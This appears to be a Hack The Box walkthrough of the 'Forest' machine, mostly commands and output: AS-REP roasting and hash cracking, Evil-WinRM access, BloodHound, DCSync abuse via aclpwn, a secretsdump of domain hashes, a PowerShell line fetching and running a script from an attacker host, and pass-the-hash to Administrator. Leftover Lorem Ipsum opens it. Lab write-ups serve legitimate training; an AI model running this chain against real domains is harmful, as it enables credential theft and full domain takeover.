Forest - Hack The Box

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.
hackthebox
Author

0xPThree

Published

October 16, 2019

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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  1. nmap -Pn -sC -sV -n 10.10.10.161 PORT STATE SERVICE VERSION 53/tcp open domain? 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-10-15 13:10:10Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open http-rpc-epmap Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl 3268/tcp open globalcatLDAP Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open wsman 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49669/tcp open unknown 49670/tcp open unknown 49671/tcp open unknown 49678/tcp open unknown 49697/tcp open unknown 49902/tcp open unknown

    Host script results: |clock-skew: mean: 2h25m50s, deviation: 4h02m30s, median: 5m49s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: FOREST | NetBIOS computer name: FOREST | Domain name: htb.local | Forest name: htb.local | FQDN: FOREST.htb.local | System time: 2019-10-15T06:12:29-07:00 | smb-security-mode: | account_used: | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2019-10-15T13:12:28 |_ start_date: 2019-10-15T03:25:51

  2. Enum with rpcclient root@p3:/opt# rpcclient -U “” -N 10.10.10.161 rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[DefaultAccount] rid:[0x1f7] user:[$331000-VK4ADACQNUCA] rid:[0x463] user:[SM_2c8eef0a09b545acb] rid:[0x464] user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465] user:[SM_75a538d3025e4db9a] rid:[0x466] user:[SM_681f53d4942840e18] rid:[0x467] user:[SM_1b41c9286325456bb] rid:[0x468] user:[SM_9b69f1b9d2cc45549] rid:[0x469] user:[SM_7c96b981967141ebb] rid:[0x46a] user:[SM_c75ee099d0a64c91b] rid:[0x46b] user:[SM_1ffab36a2f5f479cb] rid:[0x46c] user:[HealthMailboxc3d7722] rid:[0x46e] user:[HealthMailboxfc9daad] rid:[0x46f] user:[HealthMailboxc0a90c9] rid:[0x470] user:[HealthMailbox670628e] rid:[0x471] user:[HealthMailbox968e74d] rid:[0x472] user:[HealthMailbox6ded678] rid:[0x473] user:[HealthMailbox83d6781] rid:[0x474] user:[HealthMailboxfd87238] rid:[0x475] user:[HealthMailboxb01ac64] rid:[0x476] user:[HealthMailbox7108a4e] rid:[0x477] user:[HealthMailbox0659cc1] rid:[0x478] user:[sebastien] rid:[0x479] user:[lucinda] rid:[0x47a] user:[svc-alfresco] rid:[0x47b] user:[andy] rid:[0x47e] user:[mark] rid:[0x47f] user:[santi] rid:[0x480]

    INTERESTING USERS: rpcclient $> queryuser 0x47b (svc-alfresco) logon_count: 0x00000007 rpcclient $> queryuser 0x479 (sebastien) logon_count: 0x00000008 rpcclient $> queryuser 0x1f4 (Administrator) logon_count: 0x00000031

  3. Enumerate hashes for interesting users with Impacket tool GetNPUsers root@p3:/opt/impacket/examples# ./GetNPUsers.py htb.local/ -usersfile /opt/htb/machines/forest/users-forest.txt -format hashcat -dc-ip 10.10.10.161 -outputfile hash.txt root@p3:/opt/impacket/examples# cat hash.txt $krb5asrep\(23\)svc-alfresco@HTB.LOCAL:c6b386e4e646a26313188b25a9718d8f$df73ae7a0799b0763c99ebd9bae61f41354facff05b4cceb76ee4563009bf84db6640e6ebefea558fe9364c6fccb6eacb9f79acaf539ba7dffe13307d89b784c7ad16c838962d6256e27326834cfcc8389b782808bddec98a2685b535fd1d9257f22561507caaec13c6a319e5fe0d9980cf74355262fe3aa2f56a254ac0cf0031b5f61111c3c35adcd7cc4b8039bfc69210a60ed8fc4adb2d269911c33eab9f973e374f2b52ba68c452fbf961185d85ab8f9de7216cc4841474e1bbff324258c2df7bc91bb28bc51d164c5a3e6edc8b8c4da32258842f760c4548ea023b91f158eb483a35f09

  4. Crack the hash with hashcat root@p3:/opt/htb/machines/forest# hashcat -m 18200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -o cracked-hash.txt –force root@p3:/opt/htb/machines/forest# cat cracked-hash.txt $krb5asrep\(23\)svc-alfresco@HTB.LOCAL:c6b386e4e646a26313188b25a9718d8f$df73ae7a0799b0763c99ebd9bae61f41354facff05b4cceb76ee4563009bf84db6640e6ebefea558fe9364c6fccb6eacb9f79acaf539ba7dffe13307d89b784c7ad16c838962d6256e27326834cfcc8389b782808bddec98a2685b535fd1d9257f22561507caaec13c6a319e5fe0d9980cf74355262fe3aa2f56a254ac0cf0031b5f61111c3c35adcd7cc4b8039bfc69210a60ed8fc4adb2d269911c33eab9f973e374f2b52ba68c452fbf961185d85ab8f9de7216cc4841474e1bbff324258c2df7bc91bb28bc51d164c5a3e6edc8b8c4da32258842f760c4548ea023b91f158eb483a35f09:s3rvice

    # NOTE: User:Pass = svc-alfresco:s3rvice

  5. Login using Evil-WinRM and found creds to grab user.txt root@p3:/opt/evil-winrm# ruby evil-winrm.rb -i 10.10.10.161 -u svc-alfresco -p s3rvice

    Info: Starting Evil-WinRM shell v1.7 Info: Establishing connection to remote endpoint

    Evil-WinRM PS C:-alfresco> cat ../Desktop/user.txt e5e4****************************

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  1. Enumerate the DC environment using BloodHound. Evil-WinRM PS C:> upload ../BloodHound/Ingestors/SharpHound.ps1 Evil-WinRM PS C:> Import-module C:-alfresco.ps1 Evil-WinRM PS C:> Get-Help Invoke-BloodHound Evil-WinRM PS C:> Invoke-BloodHound -CollectionMethod All -Domain htb.local -LDAPUser svc-alfresco -LDAPPass s3rvice Evil-WinRM PS C:> download 20191024033946_BloodHound.zip

  2. Start neo4j console and bloodhoud, and import the zip by drag-and-drop it into the window. root@p3:/opt# neo4j console root@p3:/opt# bloodhound

You’ll find ‘Find Shortest Paths to Domain Admins’ to look something like this: svc-alfresco |– (MemberOf) –> Group: Service Accounts |– (MemberOf) –> Group: Privileged IT Accounts |– (MemberOf) –> Group: Account Operators |– (GenericAll) –> Group: Exchange Windows Permissions |– (WriteDacl) –> HTB.LOCAL |– (Contains) –> User: Administrator

svc-alfresco has the privs to create new users, or change passwords of users, in group Exchange Windows Permissions

(indicated by the ‘MemberOf’-chain and GenericAll towards the Group)

Create a new user in the group Exchange Windows Permissions, to get closer to Administrator user.

  1. Create new user in “Exchange Windows Permissions”-Group to pivot closer to Administrator Evil-WinRM PS C:> net user p3 Password123! /add The command completed successfully.

    Evil-WinRM PS C:> net group “exchange windows permissions” p3 /add /domain The command completed successfully.

    Evil-WinRM PS C:> net localgroup “Remote Management Users” /add p3 The command completed successfully.

    root@p3:/opt/evil-winrm# ruby evil-winrm.rb -i 10.10.10.161 -u p3 -p Password123!

    Info: Starting Evil-WinRM shell v1.7 Info: Establishing connection to remote endpoint

    Evil-WinRM PS C:> whoami htb Evil-WinRM PS C:> net user p3 /domain User name p3 Full Name Comment User’s comment Country/region code 000 (System Default) Account active Yes Account expires Never

    Password last set 10/24/2019 5:14:48 AM Password expires 12/5/2019 5:14:48 AM Password changeable 10/25/2019 5:14:48 AM Password required Yes User may change password Yes

    Workstations allowed All Logon script User profile Home directory Last logon Never

    Logon hours allowed All

    Local Group Memberships Remote Management Use Global Group memberships Exchange Windows Perm*Domain Users <———— The command completed successfully.

  2. Group ‘Exchange Windows Permissions’ has WriteDacl to HTB.LOCAL which grants the ability to modify the DACL in the object security descriptor. Exploit this using aclpwn or PowerView: Add-DomainObjectAcl.

    NOTE: I was not able to get it to work with PowerView.

    root@p3:/opt# aclpwn -f p3@htb.local -d htb.local -s 10.10.10.161 Please supply the password or LM:NTLM hashes of the account you are escalating from: [+] Path found! Path: (p3@HTB.LOCAL)-[MemberOf]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL) [-] Memberof -> continue [-] Modifying domain DACL to give DCSync rights to p3 [+] Dacl modification successful [+] Finished running tasks [+] Saved restore state to aclpwn-20191024-171539.restore

  3. With the new DCSync rights to user p3 we are able to extract hashes from the DC using Impacket tool secretsdump root@p3:/opt# impacket-secretsdump htb.local/p3@forest.htb.local -just-dc Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

    Password: [*] Dumping Domain Credentials (domain:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets htb.local:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f::: htb.local9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44::: htb.local0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05::: htb.local670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a::: htb.local968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9::: htb.local6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555::: htb.local83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5::: htb.local:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff::: htb.local01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203::: htb.local7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355::: htb.local0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536::: htb.local:1145:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe::: htb.local:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3::: htb.local-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668::: htb.local:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b::: htb.local:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7::: htb.local:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072::: p3:7601:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe::: FOREST\(:1000:aad3b435b51404eeaad3b435b51404ee:be56ce6584d1219800617c9d1b58e8f5::: EXCH01\):1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1::: [*] Kerberos keys grabbed krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58 krbtgt:des-cbc-md5:9dd5647a31518ca8 htb.local3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4 htb.local3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e htb.local3d7722:des-cbc-md5:5dea94ef1c15c43e htb.local9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf htb.local9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd htb.local9daad:des-cbc-md5:7c8f0b6802e0236e htb.local0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e htb.local0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed htb.local0a90c9:des-cbc-md5:0bc8463273fed983 htb.local670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91 htb.local670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f htb.local670628e:des-cbc-md5:9bba8abad9b0d01a htb.local968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c htb.local968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8 htb.local968e74d:des-cbc-md5:68d5ae202af71c5d htb.local6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81 htb.local6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6 htb.local6ded678:des-cbc-md5:cbe9ce9d522c54d5 htb.local83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a htb.local83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2 htb.local83d6781:des-cbc-md5:8f43d073d0e9ec29 htb.local:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7 htb.local:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538 htb.local:des-cbc-md5:0bc8abe526753702 htb.local01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352 htb.local01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d htb.local01ac64:des-cbc-md5:97a13b7c7f40f701 htb.local7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd htb.local7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36 htb.local7108a4e:des-cbc-md5:a7ce0446ce31aefb htb.local0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c htb.local0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3 htb.local0659cc1:des-cbc-md5:e35b497a13628054 htb.local:aes256-cts-hmac-sha1-96:6f8ab2c7e297c3a11b31d0a3ba7e1118286008574182db0d90ef8bd8f96acd34 htb.local:aes128-cts-hmac-sha1-96:35f41fce714e9a624e25a6411069e869 htb.local:des-cbc-md5:529dc47a4cdcf1c2 htb.local:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5 htb.local:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad htb.local:des-cbc-md5:a13bb56bd043a2ce htb.local-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32 htb.local-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea htb.local-alfresco:des-cbc-md5:014ac86d0b98294a htb.local:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f htb.local:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6 htb.local:des-cbc-md5:a2ab5eef017fb9da htb.local:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6 htb.local:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81 htb.local:des-cbc-md5:b5dff1f40b8f3be9 htb.local:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427 htb.local:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25 htb.local:des-cbc-md5:4075ad528ab9e5fd p3:aes256-cts-hmac-sha1-96:ac3ab772908655869d3509d4c6d1e0d418d55b48e796548566640142ba18e224 p3:aes128-cts-hmac-sha1-96:eefda4ed27816b2235d24018e98b649c p3:des-cbc-md5:43da5ec26d7cf4f2 FOREST\(:aes256-cts-hmac-sha1-96:6519e869415cad7deb8aa5dcfd89db611ee918200c2f8dbe0629f86b78f674dc FOREST\):aes128-cts-hmac-sha1-96:b3ae4c5bada7d4eddc80fcebe409bc77 FOREST\(:des-cbc-md5:c7e33bb334863e9d EXCH01\):aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6 EXCH01\(:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e EXCH01\):des-cbc-md5:8c45f44c16975129 [*] Cleaning up…

(OPTIONAL) Same can also be done using PowerView. Even though we get a lot of errors, the commands still go through and are successfull.

Evil-WinRM PS C:> IEX(New-Object Net.WebClient).downloadString(‘http://10.10.14.3:8080/PowerView.ps1’) Cannot bind argument to parameter ‘Type’ because it is null. At line:20775 char:31 + lgrmi2_sidusage = field 1 $SID_NAME_USE + ~~~~~~~~~~~~~ + CategoryInfo : InvalidData: (:) [field], ParameterBindingValidationException + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,field Cannot bind argument to parameter ‘Type’ because it is null. At line:20808 char:21 + Flags = field 2 $DsDomainFlag + ~~~~~~~~~~~~~ + CategoryInfo : InvalidData: (:) [field], ParameterBindingValidationException + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,field

Evil-WinRM PS C:> Add-DomainObjectAcl -TargetIdentity “DC=htb,DC=local” -PrincipalIdentity p3 -Rights DCSync Exception calling “GetNames” with “1” argument(s): “Value cannot be null. Parameter name: enumType” At line:6564 char:9 + \(UACValueNames = [Enum]::GetNames(\)UACEnum) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : ArgumentNullException Cannot validate argument on parameter ‘ValidateSet’. The argument is null or empty. Provide an argument that is not null or empty, and then try the command again.

  1. Again, use Impacket but this time pass-the-hash to get Administrator account and root flag root@p3:/opt/impacket/examples# python wmiexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 administrator@forest.htb.local Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

    [*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:>whoami htb

    C:>type C:.txt f048****************************

██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

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SIMILAR HTB BOX: Reel

  • BloodHound 1.3 – The ACL Attack Path Update https://wald0.com/?p=112 WriteDACL: The ability to write a new ACE to the target object’s DACL. For example, an attacker may write a new ACE to the target object DACL giving the attacker “full control” of the target object. Abused with Add-NewADObjectAccessControlEntry.

  • An ACE Up the Sleeve https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors.pdf WriteDacl grants the ability to modify the DACL in the object security descriptor. Abusable with PowerView: Add-DomainObjectAcl

  • BloodHound with Kali Linux: 101 https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux

  • Attacking Active Directory Permissions with BloodHound https://blog.stealthbits.com/attacking-active-directory-permissions-with-bloodhound/

  • ACLPWN https://github.com/fox-it/aclpwn.py